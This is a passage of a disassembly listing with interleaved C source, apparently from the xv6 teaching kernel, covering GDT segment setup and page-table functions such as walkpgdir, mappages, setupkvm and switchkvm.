%eax,-0xc(%ebp) c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80107928: 8b 45 f4 mov -0xc(%ebp),%eax 8010792b: 66 c7 40 78 ff ff movw $0xffff,0x78(%eax) 80107931: 8b 45 f4 mov -0xc(%ebp),%eax 80107934: 66 c7 40 7a 00 00 movw $0x0,0x7a(%eax) 8010793a: 8b 45 f4 mov -0xc(%ebp),%eax 8010793d: c6 40 7c 00 movb $0x0,0x7c(%eax) 80107941: 8b 45 f4 mov -0xc(%ebp),%eax 80107944: 0f b6 50 7d movzbl 0x7d(%eax),%edx 80107948: 83 e2 f0 and $0xfffffff0,%edx 8010794b: 83 ca 0a or $0xa,%edx 8010794e: 88 50 7d mov %dl,0x7d(%eax) 80107951: 8b 45 f4 mov -0xc(%ebp),%eax 80107954: 0f b6 50 7d movzbl 0x7d(%eax),%edx 80107958: 83 ca 10 or $0x10,%edx 8010795b: 88 50 7d mov %dl,0x7d(%eax) 8010795e: 8b 45 f4 mov -0xc(%ebp),%eax 80107961: 0f b6 50 7d movzbl 0x7d(%eax),%edx 80107965: 83 e2 9f and $0xffffff9f,%edx 80107968: 88 50 7d mov %dl,0x7d(%eax) 8010796b: 8b 45 f4 mov -0xc(%ebp),%eax 8010796e: 0f b6 50 7d movzbl 0x7d(%eax),%edx 80107972: 83 ca 80 or $0xffffff80,%edx 80107975: 88 50 7d mov %dl,0x7d(%eax) 80107978: 8b 45 f4 mov -0xc(%ebp),%eax 8010797b: 0f b6 50 7e movzbl 0x7e(%eax),%edx 8010797f: 83 ca 0f or $0xf,%edx 80107982: 88 50 7e mov %dl,0x7e(%eax) 80107985: 8b 45 f4 mov -0xc(%ebp),%eax 80107988: 0f b6 50 7e movzbl 0x7e(%eax),%edx 8010798c: 83 e2 ef and $0xffffffef,%edx 8010798f: 88 50 7e mov %dl,0x7e(%eax) 80107992: 8b 45 f4 mov -0xc(%ebp),%eax 80107995: 0f b6 50 7e movzbl 0x7e(%eax),%edx 80107999: 83 e2 df and $0xffffffdf,%edx 8010799c: 88 50 7e mov %dl,0x7e(%eax) 8010799f: 8b 45 f4 mov -0xc(%ebp),%eax 801079a2: 0f b6 50 7e movzbl 0x7e(%eax),%edx 801079a6: 83 ca 40 or $0x40,%edx 801079a9: 88 50 7e mov %dl,0x7e(%eax) 801079ac: 8b 45 f4 mov -0xc(%ebp),%eax 801079af: 0f b6 50 7e movzbl 0x7e(%eax),%edx 801079b3: 83 ca 80 or $0xffffff80,%edx 801079b6: 88 50 7e mov %dl,0x7e(%eax) 801079b9: 8b 45 f4 mov -0xc(%ebp),%eax 801079bc: c6 40 7f 00 movb $0x0,0x7f(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801079c0: 8b 45 f4 mov -0xc(%ebp),%eax 801079c3: 66 c7 80 80 00 00 00 movw $0xffff,0x80(%eax) 801079ca: ff ff 801079cc: 8b 45 f4 mov -0xc(%ebp),%eax 801079cf: 66 c7 80 82 00 00 00 movw $0x0,0x82(%eax) 801079d6: 00 00 801079d8: 8b 45 f4 mov -0xc(%ebp),%eax 801079db: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax) 801079e2: 8b 45 f4 mov -0xc(%ebp),%eax 801079e5: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 801079ec: 83 e2 f0 and $0xfffffff0,%edx 801079ef: 83 ca 02 or $0x2,%edx 801079f2: 88 90 85 00 00 00 mov %dl,0x85(%eax) 801079f8: 8b 45 f4 mov -0xc(%ebp),%eax 801079fb: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 80107a02: 83 ca 10 or $0x10,%edx 80107a05: 88 90 85 00 00 00 mov %dl,0x85(%eax) 80107a0b: 8b 45 f4 mov -0xc(%ebp),%eax 80107a0e: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 80107a15: 83 e2 9f and $0xffffff9f,%edx 80107a18: 88 90 85 00 00 00 mov %dl,0x85(%eax) 80107a1e: 8b 45 f4 mov -0xc(%ebp),%eax 80107a21: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 80107a28: 83 ca 80 or $0xffffff80,%edx 80107a2b: 88 90 85 00 00 00 mov %dl,0x85(%eax) 80107a31: 8b 45 f4 mov -0xc(%ebp),%eax 80107a34: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 80107a3b: 83 ca 0f or $0xf,%edx 80107a3e: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80107a44: 8b 45 f4 mov -0xc(%ebp),%eax 80107a47: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 80107a4e: 83 e2 ef and $0xffffffef,%edx 80107a51: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80107a57: 8b 45 f4 mov -0xc(%ebp),%eax 80107a5a: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 80107a61: 83 e2 df and $0xffffffdf,%edx 80107a64: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80107a6a: 8b 45 f4 mov -0xc(%ebp),%eax 80107a6d: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 80107a74: 83 ca 40 or $0x40,%edx 80107a77: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80107a7d: 8b 45 f4 mov -0xc(%ebp),%eax 80107a80: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 80107a87: 83 ca 80 or $0xffffff80,%edx 80107a8a: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80107a90: 8b 45 f4 mov -0xc(%ebp),%eax 80107a93: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80107a9a: 8b 45 f4 mov -0xc(%ebp),%eax 80107a9d: 66 c7 80 90 00 00 00 movw $0xffff,0x90(%eax) 80107aa4: ff ff 80107aa6: 8b 45 f4 mov -0xc(%ebp),%eax 80107aa9: 66 c7 80 92 00 00 00 movw $0x0,0x92(%eax) 80107ab0: 00 00 80107ab2: 8b 45 f4 mov -0xc(%ebp),%eax 80107ab5: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax) 80107abc: 8b 45 f4 mov -0xc(%ebp),%eax 80107abf: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 80107ac6: 83 e2 f0 and $0xfffffff0,%edx 80107ac9: 83 ca 0a or $0xa,%edx 80107acc: 88 90 95 00 00 00 mov %dl,0x95(%eax) 80107ad2: 8b 45 f4 mov -0xc(%ebp),%eax 80107ad5: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 80107adc: 83 ca 10 or $0x10,%edx 80107adf: 88 90 95 00 00 00 mov %dl,0x95(%eax) 80107ae5: 8b 45 f4 mov -0xc(%ebp),%eax 80107ae8: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 80107aef: 83 ca 60 or $0x60,%edx 80107af2: 88 90 95 00 00 00 mov %dl,0x95(%eax) 80107af8: 8b 45 f4 mov -0xc(%ebp),%eax 80107afb: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 80107b02: 83 ca 80 or $0xffffff80,%edx 80107b05: 88 90 95 00 00 00 mov %dl,0x95(%eax) 80107b0b: 8b 45 f4 mov -0xc(%ebp),%eax 80107b0e: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 80107b15: 83 ca 0f or $0xf,%edx 80107b18: 88 90 96 00 00 00 mov %dl,0x96(%eax) 80107b1e: 8b 45 f4 mov -0xc(%ebp),%eax 80107b21: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 80107b28: 83 e2 ef and $0xffffffef,%edx 80107b2b: 88 90 96 00 00 00 mov %dl,0x96(%eax) 80107b31: 8b 45 f4 mov -0xc(%ebp),%eax 80107b34: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 80107b3b: 83 e2 df and $0xffffffdf,%edx 80107b3e: 88 90 96 00 00 00 mov %dl,0x96(%eax) 80107b44: 8b 45 f4 mov -0xc(%ebp),%eax 80107b47: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 80107b4e: 83 ca 40 or $0x40,%edx 80107b51: 88 90 96 00 00 00 mov %dl,0x96(%eax) 80107b57: 8b 45 f4 mov -0xc(%ebp),%eax 80107b5a: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 80107b61: 83 ca 80 or $0xffffff80,%edx 80107b64: 88 90 96 00 00 00 mov %dl,0x96(%eax) 80107b6a: 8b 45 f4 mov -0xc(%ebp),%eax 80107b6d: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80107b74: 8b 45 f4 mov -0xc(%ebp),%eax 80107b77: 66 c7 80 98 00 00 00 movw $0xffff,0x98(%eax) 80107b7e: ff ff 80107b80: 8b 45 f4 mov -0xc(%ebp),%eax 80107b83: 66 c7 80 9a 00 00 00 movw $0x0,0x9a(%eax) 80107b8a: 00 00 80107b8c: 8b 45 f4 mov -0xc(%ebp),%eax 80107b8f: c6 80 9c 00 00 00 00 movb $0x0,0x9c(%eax) 80107b96: 8b 45 f4 mov -0xc(%ebp),%eax 80107b99: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80107ba0: 83 e2 f0 and $0xfffffff0,%edx 80107ba3: 83 ca 02 or $0x2,%edx 80107ba6: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 80107bac: 8b 45 f4 mov -0xc(%ebp),%eax 80107baf: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80107bb6: 83 ca 10 or $0x10,%edx 80107bb9: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 80107bbf: 8b 45 f4 mov -0xc(%ebp),%eax 80107bc2: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80107bc9: 83 ca 60 or $0x60,%edx 80107bcc: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 80107bd2: 8b 45 f4 mov -0xc(%ebp),%eax 80107bd5: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80107bdc: 83 ca 80 or $0xffffff80,%edx 80107bdf: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 80107be5: 8b 45 f4 mov -0xc(%ebp),%eax 80107be8: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 80107bef: 83 ca 0f or $0xf,%edx 80107bf2: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 80107bf8: 8b 45 f4 mov -0xc(%ebp),%eax 80107bfb: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 80107c02: 83 e2 ef and $0xffffffef,%edx 80107c05: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 80107c0b: 8b 45 f4 mov -0xc(%ebp),%eax 80107c0e: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 80107c15: 83 e2 df and $0xffffffdf,%edx 80107c18: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 80107c1e: 8b 45 f4 mov -0xc(%ebp),%eax 80107c21: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 80107c28: 83 ca 40 or $0x40,%edx 80107c2b: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 80107c31: 8b 45 f4 mov -0xc(%ebp),%eax 80107c34: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 80107c3b: 83 ca 80 or $0xffffff80,%edx 80107c3e: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 80107c44: 8b 45 f4 mov -0xc(%ebp),%eax 80107c47: c6 80 9f 00 00 00 00 movb $0x0,0x9f(%eax) // Map cpu, and curproc c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0); 80107c4e: 8b 45 f4 mov -0xc(%ebp),%eax 80107c51: 05 b4 00 00 00 add $0xb4,%eax 80107c56: 89 c3 mov %eax,%ebx 80107c58: 8b 45 f4 mov -0xc(%ebp),%eax 80107c5b: 05 b4 00 00 00 add $0xb4,%eax 80107c60: c1 e8 10 shr $0x10,%eax 80107c63: 89 c2 mov %eax,%edx 80107c65: 8b 45 f4 mov -0xc(%ebp),%eax 80107c68: 05 b4 00 00 00 add $0xb4,%eax 80107c6d: c1 e8 18 shr $0x18,%eax 80107c70: 89 c1 mov %eax,%ecx 80107c72: 8b 45 f4 mov -0xc(%ebp),%eax 80107c75: 66 c7 80 88 00 00 00 movw $0x0,0x88(%eax) 80107c7c: 00 00 80107c7e: 8b 45 f4 mov -0xc(%ebp),%eax 80107c81: 66 89 98 8a 00 00 00 mov %bx,0x8a(%eax) 80107c88: 8b 45 f4 mov -0xc(%ebp),%eax 80107c8b: 88 90 8c 00 00 00 mov %dl,0x8c(%eax) 80107c91: 8b 45 f4 mov -0xc(%ebp),%eax 80107c94: 0f b6 90 8d 00 00 00 movzbl 0x8d(%eax),%edx 80107c9b: 83 e2 f0 and $0xfffffff0,%edx 80107c9e: 83 ca 02 or $0x2,%edx 80107ca1: 88 90 8d 00 00 00 mov %dl,0x8d(%eax) 80107ca7: 8b 45 f4 mov -0xc(%ebp),%eax 80107caa: 0f b6 90 8d 00 00 00 movzbl 0x8d(%eax),%edx 80107cb1: 83 ca 10 or $0x10,%edx 80107cb4: 88 90 8d 00 00 00 mov %dl,0x8d(%eax) 80107cba: 8b 45 f4 mov -0xc(%ebp),%eax 80107cbd: 0f b6 90 8d 00 00 00 movzbl 0x8d(%eax),%edx 80107cc4: 83 e2 9f and $0xffffff9f,%edx 80107cc7: 88 90 8d 00 00 00 mov %dl,0x8d(%eax) 80107ccd: 8b 45 f4 mov -0xc(%ebp),%eax 80107cd0: 0f b6 90 8d 00 00 00 movzbl 0x8d(%eax),%edx 80107cd7: 83 ca 80 or $0xffffff80,%edx 80107cda: 88 90 8d 00 00 00 mov %dl,0x8d(%eax) 80107ce0: 8b 45 f4 mov -0xc(%ebp),%eax 80107ce3: 0f b6 90 8e 00 00 00 movzbl 0x8e(%eax),%edx 80107cea: 83 e2 f0 and $0xfffffff0,%edx 80107ced: 88 90 8e 00 00 00 mov %dl,0x8e(%eax) 80107cf3: 8b 45 f4 mov -0xc(%ebp),%eax 80107cf6: 0f b6 90 8e 00 00 00 movzbl 0x8e(%eax),%edx 80107cfd: 83 e2 ef and $0xffffffef,%edx 80107d00: 88 90 8e 00 00 00 mov %dl,0x8e(%eax) 80107d06: 8b 45 f4 mov -0xc(%ebp),%eax 80107d09: 0f b6 90 8e 00 00 00 movzbl 0x8e(%eax),%edx 80107d10: 83 e2 df and $0xffffffdf,%edx 80107d13: 88 90 8e 00 00 00 mov %dl,0x8e(%eax) 80107d19: 8b 45 f4 mov -0xc(%ebp),%eax 80107d1c: 0f b6 90 8e 00 00 00 movzbl 0x8e(%eax),%edx 80107d23: 83 ca 40 or $0x40,%edx 80107d26: 88 90 8e 00 00 00 mov %dl,0x8e(%eax) 80107d2c: 8b 45 f4 mov -0xc(%ebp),%eax 80107d2f: 0f b6 90 8e 00 00 00 movzbl 0x8e(%eax),%edx 80107d36: 83 ca 80 or $0xffffff80,%edx 80107d39: 88 90 8e 00 00 00 mov %dl,0x8e(%eax) 80107d3f: 8b 45 f4 mov -0xc(%ebp),%eax 80107d42: 88 88 8f 00 00 00 mov %cl,0x8f(%eax) lgdt(c->gdt, sizeof(c->gdt)); 80107d48: 8b 45 f4 mov -0xc(%ebp),%eax 80107d4b: 83 c0 70 add $0x70,%eax 80107d4e: 83 ec 08 sub $0x8,%esp 80107d51: 6a 38 push $0x38 80107d53: 50 push %eax 80107d54: e8 38 fb ff ff call 80107891 <lgdt> 80107d59: 83 c4 10 add $0x10,%esp loadgs(SEG_KCPU << 3); 80107d5c: 83 ec 0c sub $0xc,%esp 80107d5f: 6a 18 push $0x18 80107d61: e8 6c fb ff ff call 801078d2 <loadgs> 80107d66: 83 c4 10 add $0x10,%esp // Initialize cpu-local storage. cpu = c; 80107d69: 8b 45 f4 mov -0xc(%ebp),%eax 80107d6c: 65 a3 00 00 00 00 mov %eax,%gs:0x0 proc = 0; 80107d72: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4 80107d79: 00 00 00 00 } 80107d7d: 90 nop 80107d7e: 8b 5d fc mov -0x4(%ebp),%ebx 80107d81: c9 leave 80107d82: c3 ret 80107d83 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 80107d83: 55 push %ebp 80107d84: 89 e5 mov %esp,%ebp 80107d86: 83 ec 18 sub $0x18,%esp pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80107d89: 8b 45 0c mov 0xc(%ebp),%eax 80107d8c: c1 e8 16 shr $0x16,%eax 80107d8f: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80107d96: 8b 45 08 mov 0x8(%ebp),%eax 80107d99: 01 d0 add %edx,%eax 80107d9b: 89 45 f0 mov %eax,-0x10(%ebp) if(*pde & PTE_P){ 80107d9e: 8b 45 f0 mov -0x10(%ebp),%eax 80107da1: 8b 00 mov (%eax),%eax 80107da3: 83 e0 01 and $0x1,%eax 80107da6: 85 c0 test %eax,%eax 80107da8: 74 18 je 80107dc2 <walkpgdir+0x3f> pgtab = (pte_t*)p2v(PTE_ADDR(*pde)); 80107daa: 8b 45 f0 mov -0x10(%ebp),%eax 80107dad: 8b 00 mov (%eax),%eax 80107daf: 25 00 f0 ff ff and $0xfffff000,%eax 80107db4: 50 push %eax 80107db5: e8 47 fb ff ff call 80107901 <p2v> 80107dba: 83 c4 04 add $0x4,%esp 80107dbd: 89 45 f4 mov %eax,-0xc(%ebp) 80107dc0: eb 48 jmp 80107e0a <walkpgdir+0x87> } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 80107dc2: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80107dc6: 74 0e je 80107dd6 <walkpgdir+0x53> 80107dc8: e8 99 ae ff ff call 80102c66 <kalloc> 80107dcd: 89 45 f4 mov %eax,-0xc(%ebp) 80107dd0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80107dd4: 75 07 jne 80107ddd <walkpgdir+0x5a> return 0; 80107dd6: b8 00 00 00 00 mov $0x0,%eax 80107ddb: eb 44 jmp 80107e21 <walkpgdir+0x9e> // Make sure all those PTE_P bits are zero. memset(pgtab, 0, PGSIZE); 80107ddd: 83 ec 04 sub $0x4,%esp 80107de0: 68 00 10 00 00 push $0x1000 80107de5: 6a 00 push $0x0 80107de7: ff 75 f4 pushl -0xc(%ebp) 80107dea: e8 aa d5 ff ff call 80105399 <memset> 80107def: 83 c4 10 add $0x10,%esp // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = v2p(pgtab) | PTE_P | PTE_W | PTE_U; 80107df2: 83 ec 0c sub $0xc,%esp 80107df5: ff 75 f4 pushl -0xc(%ebp) 80107df8: e8 f7 fa ff ff call 801078f4 <v2p> 80107dfd: 83 c4 10 add $0x10,%esp 80107e00: 83 c8 07 or $0x7,%eax 80107e03: 89 c2 mov %eax,%edx 80107e05: 8b 45 f0 mov -0x10(%ebp),%eax 80107e08: 89 10 mov %edx,(%eax) } return &pgtab[PTX(va)]; 80107e0a: 8b 45 0c mov 0xc(%ebp),%eax 80107e0d: c1 e8 0c shr $0xc,%eax 80107e10: 25 ff 03 00 00 and $0x3ff,%eax 80107e15: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80107e1c: 8b 45 f4 mov -0xc(%ebp),%eax 80107e1f: 01 d0 add %edx,%eax } 80107e21: c9 leave 80107e22: c3 ret 80107e23 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80107e23: 55 push %ebp 80107e24: 89 e5 mov %esp,%ebp 80107e26: 83 ec 18 sub $0x18,%esp char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80107e29: 8b 45 0c mov 0xc(%ebp),%eax 80107e2c: 25 00 f0 ff ff and $0xfffff000,%eax 80107e31: 89 45 f4 mov %eax,-0xc(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80107e34: 8b 55 0c mov 0xc(%ebp),%edx 80107e37: 8b 45 10 mov 0x10(%ebp),%eax 80107e3a: 01 d0 add %edx,%eax 80107e3c: 83 e8 01 sub $0x1,%eax 80107e3f: 25 00 f0 ff ff and $0xfffff000,%eax 80107e44: 89 45 f0 mov %eax,-0x10(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) 80107e47: 83 ec 04 sub $0x4,%esp 80107e4a: 6a 01 push $0x1 80107e4c: ff 75 f4 pushl -0xc(%ebp) 80107e4f: ff 75 08 pushl 0x8(%ebp) 80107e52: e8 2c ff ff ff call 80107d83 <walkpgdir> 80107e57: 83 c4 10 add $0x10,%esp 80107e5a: 89 45 ec mov %eax,-0x14(%ebp) 80107e5d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80107e61: 75 07 jne 80107e6a <mappages+0x47> return -1; 80107e63: b8 ff ff ff ff mov $0xffffffff,%eax 80107e68: eb 47 jmp 80107eb1 <mappages+0x8e> if(*pte & PTE_P) 80107e6a: 8b 45 ec mov -0x14(%ebp),%eax 80107e6d: 8b 00 mov (%eax),%eax 80107e6f: 83 e0 01 and $0x1,%eax 80107e72: 85 c0 test %eax,%eax 80107e74: 74 0d je 80107e83 <mappages+0x60> panic("remap"); 80107e76: 83 ec 0c sub $0xc,%esp 80107e79: 68 18 8f 10 80 push $0x80108f18 80107e7e: e8 e3 86 ff ff call 80100566 <panic> *pte = pa | perm | PTE_P; 80107e83: 8b 45 18 mov 0x18(%ebp),%eax 80107e86: 0b 45 14 or 0x14(%ebp),%eax 80107e89: 83 c8 01 or $0x1,%eax 80107e8c: 89 c2 mov %eax,%edx 80107e8e: 8b 45 ec mov -0x14(%ebp),%eax 80107e91: 89 10 mov %edx,(%eax) if(a == last) 80107e93: 8b 45 f4 mov -0xc(%ebp),%eax 80107e96: 3b 45 f0 cmp -0x10(%ebp),%eax 80107e99: 74 10 je 80107eab <mappages+0x88> break; a += PGSIZE; 80107e9b: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) pa += PGSIZE; 80107ea2: 81 45 14 00 10 00 00 addl $0x1000,0x14(%ebp) } 80107ea9: eb 9c jmp 80107e47 <mappages+0x24> return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; if(a == last) break; 80107eab: 90 nop a += PGSIZE; pa += PGSIZE; } return 0; 80107eac: b8 00 00 00 00 mov $0x0,%eax } 80107eb1: c9 leave 80107eb2: c3 ret 80107eb3 <setupkvm>: }; // Set up kernel part of a page table. pde_t* setupkvm(void) { 80107eb3: 55 push %ebp 80107eb4: 89 e5 mov %esp,%ebp 80107eb6: 53 push %ebx 80107eb7: 83 ec 14 sub $0x14,%esp pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) 80107eba: e8 a7 ad ff ff call 80102c66 <kalloc> 80107ebf: 89 45 f0 mov %eax,-0x10(%ebp) 80107ec2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80107ec6: 75 0a jne 80107ed2 <setupkvm+0x1f> return 0; 80107ec8: b8 00 00 00 00 mov $0x0,%eax 80107ecd: e9 8e 00 00 00 jmp 80107f60 <setupkvm+0xad> memset(pgdir, 0, PGSIZE); 80107ed2: 83 ec 04 sub $0x4,%esp 80107ed5: 68 00 10 00 00 push $0x1000 80107eda: 6a 00 push $0x0 80107edc: ff 75 f0 pushl -0x10(%ebp) 80107edf: e8 b5 d4 ff ff call 80105399 <memset> 80107ee4: 83 c4 10 add $0x10,%esp if (p2v(PHYSTOP) > (void*)DEVSPACE) 80107ee7: 83 ec 0c sub $0xc,%esp 80107eea: 68 00 00 00 0e push $0xe000000 80107eef: e8 0d fa ff ff call 80107901 <p2v> 80107ef4: 83 c4 10 add $0x10,%esp 80107ef7: 3d 00 00 00 fe cmp $0xfe000000,%eax 80107efc: 76 0d jbe 80107f0b <setupkvm+0x58> panic("PHYSTOP too high"); 80107efe: 83 ec 0c sub $0xc,%esp 80107f01: 68 1e 8f 10 80 push $0x80108f1e 80107f06: e8 5b 86 ff ff call 80100566 <panic> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80107f0b: c7 45 f4 a0 c4 10 80 movl $0x8010c4a0,-0xc(%ebp) 80107f12: eb 40 jmp 80107f54 <setupkvm+0xa1> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80107f14: 8b 45 f4 mov -0xc(%ebp),%eax 80107f17: 8b 48 0c mov 0xc(%eax),%ecx (uint)k->phys_start, k->perm) < 0) 80107f1a: 8b 45 f4 mov -0xc(%ebp),%eax 80107f1d: 8b 50 04 mov 0x4(%eax),%edx return 0; memset(pgdir, 0, PGSIZE); if (p2v(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80107f20: 8b 45 f4 mov -0xc(%ebp),%eax 80107f23: 8b 58 08 mov 0x8(%eax),%ebx 80107f26: 8b 45 f4 mov -0xc(%ebp),%eax 80107f29: 8b 40 04 mov 0x4(%eax),%eax 80107f2c: 29 c3 sub %eax,%ebx 80107f2e: 8b 45 f4 mov -0xc(%ebp),%eax 80107f31: 8b 00 mov (%eax),%eax 80107f33: 83 ec 0c sub $0xc,%esp 80107f36: 51 push %ecx 80107f37: 52 push %edx 80107f38: 53 push %ebx 80107f39: 50 push %eax 80107f3a: ff 75 f0 pushl -0x10(%ebp) 80107f3d: e8 e1 fe ff ff call 80107e23 <mappages> 80107f42: 83 c4 20 add $0x20,%esp 80107f45: 85 c0 test %eax,%eax 80107f47: 79 07 jns 80107f50 <setupkvm+0x9d> (uint)k->phys_start, k->perm) < 0) return 0; 80107f49: b8 00 00 00 00 mov $0x0,%eax 80107f4e: eb 10 jmp 80107f60 <setupkvm+0xad> if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); if (p2v(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80107f50: 83 45 f4 10 addl $0x10,-0xc(%ebp) 80107f54: 81 7d f4 e0 c4 10 80 cmpl $0x8010c4e0,-0xc(%ebp) 80107f5b: 72 b7 jb 80107f14 <setupkvm+0x61> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) return 0; return pgdir; 80107f5d: 8b 45 f0 mov -0x10(%ebp),%eax } 80107f60: 8b 5d fc mov -0x4(%ebp),%ebx 80107f63: c9 leave 80107f64: c3 ret 80107f65 <kvmalloc>: // Allocate one page table for the machine for the kernel address // space for scheduler processes. void kvmalloc(void) { 80107f65: 55 push %ebp 80107f66: 89 e5 mov %esp,%ebp 80107f68: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80107f6b: e8 43 ff ff ff call 80107eb3 <setupkvm> 80107f70: a3 18 6c 11 80 mov %eax,0x80116c18 switchkvm(); 80107f75: e8 03 00 00 00 call 80107f7d <switchkvm> } 80107f7a: 90 nop 80107f7b: c9 leave 80107f7c: c3 ret 80107f7d <switchkvm>: // Switch h/w page table register to the kernel-only page table, // for when no process is running. void switchkvm(void) { 80107f7d: 55 push %ebp 80107f7e: 89 e5 mov %esp,%ebp lcr3(v2p(kpgdir)); // switch to the kernel page table 80107f80: a1 18 6c 11 80 mov 0x80116c18,%eax 80107f85: 50 push %eax 80107f86: e8 69 f9 ff ff call 801078f4 <v2p> 80107f8b: 83 c4 04 add $0x4,%esp 80107f8e: 50 push %eax 80107f8f: e8 54 f9 ff ff call 801078e8 <lcr3> 80107f94: 83 c4 04 add $0x4,%esp } 80107f97: 90 nop 80107f98: c9 leave 80107f99: c3 ret 80107f9a <switchuvm>: // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { 80107f9a: 55 push %ebp 80107f9b: 89 e5 mov %esp,%ebp 80107f9d: 56 push %esi 80107f9e: 53 push %ebx pushcli(); 80107f9f: e8 ef d2 ff ff call 80105293 <pushcli> cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0); 80107fa4: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80107faa: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80107fb1: 83 c2 08 add $0x8,%edx 80107fb4: 89 d6 mov %edx,%esi 80107fb6: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80107fbd: 83 c2 08 add $0x8,%edx 80107fc0: c1 ea 10 shr $0x10,%edx 80107fc3: 89 d3 mov %edx,%ebx 80107fc5: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80107fcc: 83 c2 08 add $0x8,%edx 80107fcf: c1 ea 18 shr $0x18,%edx 80107fd2: 89 d1 mov %edx,%ecx 80107fd4: 66 c7 80 a0 00 00 00 movw $0x67,0xa0(%eax) 80107fdb: 67 00 80107fdd: 66 89 b0 a2 00 00 00 mov %si,0xa2(%eax) 80107fe4: 88 98 a4 00 00 00 mov %bl,0xa4(%eax) 80107fea: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx 80107ff1: 83 e2 f0 and $0xfffffff0,%edx 80107ff4: 83 ca 09 or $0x9,%edx 80107ff7: 88 90 a5 00 00 00 mov %dl,0xa5(%eax) 